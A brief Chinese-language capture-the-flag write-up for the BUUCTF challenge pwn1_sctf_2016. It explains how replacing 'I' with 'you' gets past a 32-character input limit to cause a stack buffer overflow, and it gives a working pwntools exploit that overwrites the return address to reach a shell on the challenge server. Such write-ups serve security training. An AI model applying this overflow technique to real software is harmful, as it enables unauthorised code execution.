buu pwn1_sctf_2016

字符串替换，输入限制

s的输入被限制为32，但是溢出需要输入60个字符

但当我们输入I的时候，I会被替换成you，所以我们依然可以溢出

 

exp:

from pwn import *

host = 'node4.buuoj.cn'
port = 29817
p= connect (host,port)

#p= process('./pwn1')

shell_addre =0x8048F13
payload= b'I'*20+b'a'*4+p32(shell_addre)
p.sendline(payload)
p.interactive()